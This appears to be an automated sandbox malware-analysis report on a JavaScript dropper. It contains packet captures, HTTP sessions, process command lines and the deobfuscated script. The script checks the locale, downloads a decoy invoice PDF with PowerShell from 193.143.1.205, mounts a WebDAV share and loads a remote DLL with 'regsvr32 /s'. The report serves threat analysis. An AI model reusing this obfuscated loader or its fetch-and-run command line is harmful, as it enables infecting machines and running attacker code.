Jan 11, 2025 02:16:29.400187016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.400208950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.400255919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.418358088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.423068047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423098087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423110008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423137903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.423162937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423177004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423187971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423207998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.423226118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.423419952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423432112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423443079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423460007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423470974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.423471928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423484087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423496008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423502922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.423521996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.423821926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423832893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.423866034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.442666054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442684889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442703009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442713976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442725897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442784071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.442816973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442842007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442842007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.442854881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442867041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.442883015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.442914963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.443073034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.443084955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.443095922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.443106890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.443139076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.443164110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.462024927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.672122002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:30.229697943 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:30.234611988 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:30.235002041 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:30.235002041 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:30.239845037 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:31.019159079 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:31.069073915 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:31.338648081 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:44.686440945 CET	55248	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:16:44.691370964 CET	53	55248	1.1.1.1	192.168.2.7
Jan 11, 2025 02:16:44.693922997 CET	55248	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:16:44.698781967 CET	53	55248	1.1.1.1	192.168.2.7
Jan 11, 2025 02:16:45.192629099 CET	55248	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:16:45.252084017 CET	55248	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:16:45.257189035 CET	53	55248	1.1.1.1	192.168.2.7
Jan 11, 2025 02:16:45.257253885 CET	55248	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:16:38.558229923 CET	49694	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:16:44.684617996 CET	53	65218	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:16:38.558229923 CET	192.168.2.7	1.1.1.1	0x97f4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:16:38.565927029 CET	1.1.1.1	192.168.2.7	0x97f4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:16:39.484335899 CET	1.1.1.1	192.168.2.7	0x733f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:39.484335899 CET	1.1.1.1	192.168.2.7	0x733f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	6680	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:16:27.859795094 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:16:28.667989969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:16:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:16:28.668061018 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:16:28.668097019 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:16:28.668132067 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:16:28.668164968 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:16:28.668199062 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:16:28.668299913 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:16:28.668334007 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 02:16:28.668365955 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 02:16:28.668399096 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 02:16:28.673130035 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7044	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:16:30.235002041 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:16:31.019159079 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:16:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:16:23
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js"
Imagebase:	0x7ff770750000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:16:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Imagebase:	0x7ff7adf20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:16:24
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:16:24
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:16:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:16:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7adf20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:16:28
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7295d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:16:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:16:29
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	20:16:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1588,i,12066462918445797092,6122849702291831684,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rjbcriqq() {	rjbcriqq() ➔ undefined
1	yhosd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lxppnt = this[xngkvagn + lhwdqtjnn + ytrslp + jycplxhg + jwvapg + tpqqrl + ceanaddjx + azcod] ( this[zmhkufw + bhcqjwjr + lyrimb + ytrslp + luzbtlvj + xngkvagn + azcod][cksronv + ytrslp + jwvapg + lhwdqtjnn + azcod + jwvapg + rwakipr + jrwwkhfjo + fpukssj + jwvapg + lyrimb + azcod] ( zmhkufw + bhcqjwjr + lyrimb + ytrslp + luzbtlvj + xngkvagn + azcod + ywdbwws + bhcqjwjr + ooicefav + jwvapg + vxhfhrsf + vxhfhrsf ) [dzbujehov + jwvapg + zjvbcie + dzbujehov + jwvapg + lhwdqtjnn + lwbnqe] ( fdtso + qknxnc + jbbjhg + gpnwtw + cccdj + cksronv + ugbqwdi + dzbujehov + dzbujehov + jbbjhg + kuljromi + hxixmcwm + cccdj + ugbqwdi + bhcqjwjr + jbbjhg + dzbujehov + vveapx + cksronv + zrcdii + ceanaddjx + azcod + ytrslp + zrcdii + vxhfhrsf + mxfhlas + bpjoq + lhwdqtjnn + ceanaddjx + jwvapg + vxhfhrsf + vveapx + tpqqrl + ceanaddjx + azcod + jwvapg + ytrslp + ceanaddjx + lhwdqtjnn + azcod + luzbtlvj + zrcdii + ceanaddjx + lhwdqtjnn + vxhfhrsf + vveapx + tigccw + zrcdii + lyrimb + lhwdqtjnn + vxhfhrsf + jwvapg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( sjipv = 0 ; sjipv < yhosd[vxhfhrsf + jwvapg + ceanaddjx + zjvbcie + azcod + ooicefav] ; ++ sjipv )
4	{
5	if ( lxppnt == yhosd[sjipv] )
6	{
7	lxppnt = true;
8	break ;
9	}
10	}
11	if ( lxppnt !== true )
12	this[zmhkufw + bhcqjwjr + lyrimb + ytrslp + luzbtlvj + xngkvagn + azcod][vgzumu + dyindz + luzbtlvj + azcod] ( );
13	this[zmhkufw + bhcqjwjr + lyrimb + ytrslp + luzbtlvj + xngkvagn + azcod][cksronv + ytrslp + jwvapg + lhwdqtjnn + azcod + jwvapg + rwakipr + jrwwkhfjo + fpukssj + jwvapg + lyrimb + azcod] ( zmhkufw + bhcqjwjr + lyrimb + ytrslp + luzbtlvj + xngkvagn + azcod + ywdbwws + bhcqjwjr + ooicefav + jwvapg + vxhfhrsf + vxhfhrsf ) [ytrslp + dyindz + ceanaddjx] ( lyrimb + nekkub + lwbnqe + mxfhlas + vtmnkibiw + lyrimb + mxfhlas + xngkvagn + zrcdii + ftohds + jwvapg + ytrslp + jycplxhg + ooicefav + jwvapg + vxhfhrsf + vxhfhrsf + ywdbwws + jwvapg + krbmxa + jwvapg + mxfhlas + hypzpnds + cksronv + zrcdii + nekkub + nekkub + lhwdqtjnn + ceanaddjx + lwbnqe + mxfhlas + iyejrkef + tpqqrl + ceanaddjx + zhgftz + zrcdii + elbdfp + jwvapg + hypzpnds + zmhkufw + jwvapg + jrwwkhfjo + dzbujehov + jwvapg + gljzr + dyindz + jwvapg + jycplxhg + azcod + mxfhlas + hypzpnds + rwakipr + dyindz + azcod + fnyccy + luzbtlvj + vxhfhrsf + jwvapg + mxfhlas + mdrhfnfxt + azcod + jwvapg + nekkub + xngkvagn + mdrhfnfxt + vveapx + luzbtlvj + ceanaddjx + zhgftz + zrcdii + luzbtlvj + lyrimb + jwvapg + ywdbwws + xngkvagn + lwbnqe + yvsltcv + mxfhlas + ooicefav + azcod + azcod + xngkvagn + mxnycvsm + vtmnkibiw + vtmnkibiw + hvkntg + krdmo + fiildbbwo + ywdbwws + hvkntg + acwjghmie + fiildbbwo + ywdbwws + hvkntg + ywdbwws + uqdtffgza + hmismoyx + ejtktrf + vtmnkibiw + luzbtlvj + ceanaddjx + zhgftz + zrcdii + luzbtlvj + lyrimb + jwvapg + ywdbwws + xngkvagn + ooicefav + xngkvagn + iyejrkef + dploz + dploz + jycplxhg + azcod + lhwdqtjnn + ytrslp + azcod + mxfhlas + mdrhfnfxt + azcod + jwvapg + nekkub + xngkvagn + mdrhfnfxt + vveapx + luzbtlvj + ceanaddjx + zhgftz + zrcdii + luzbtlvj + lyrimb + jwvapg + ywdbwws + xngkvagn + lwbnqe + yvsltcv + dploz + dploz + lyrimb + nekkub + lwbnqe + mxfhlas + vtmnkibiw + lyrimb + mxfhlas + ceanaddjx + jwvapg + azcod + mxfhlas + dyindz + jycplxhg + jwvapg + mxfhlas + vveapx + vveapx + hvkntg + krdmo + fiildbbwo + ywdbwws + hvkntg + acwjghmie + fiildbbwo + ywdbwws + hvkntg + ywdbwws + uqdtffgza + hmismoyx + ejtktrf + pqwmoqifw + ielsxg + ielsxg + ielsxg + ielsxg + vveapx + lwbnqe + lhwdqtjnn + zhgftz + ftohds + ftohds + ftohds + ytrslp + zrcdii + zrcdii + azcod + vveapx + dploz + dploz + lyrimb + nekkub + lwbnqe + mxfhlas + vtmnkibiw + lyrimb + mxfhlas + ytrslp + jwvapg + zjvbcie + jycplxhg + zhgftz + ytrslp + fiildbbwo + uqdtffgza + mxfhlas + vtmnkibiw + jycplxhg + mxfhlas + vveapx + vveapx + hvkntg + krdmo + fiildbbwo + ywdbwws + hvkntg + acwjghmie + fiildbbwo + ywdbwws + hvkntg + ywdbwws + uqdtffgza + hmismoyx + ejtktrf + pqwmoqifw + ielsxg + ielsxg + ielsxg + ielsxg + vveapx + lwbnqe + lhwdqtjnn + zhgftz + ftohds + ftohds + ftohds + ytrslp + zrcdii + zrcdii + azcod + vveapx + hvkntg + fijwtgur + hvkntg + krdmo + acwjghmie + uqdtffgza + krdmo + ielsxg + ejtktrf + hmismoyx + cxekpxygt + fiildbbwo + ejtktrf + hvkntg + ywdbwws + lwbnqe + vxhfhrsf + vxhfhrsf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll",0,false) ➔ 0
14	}
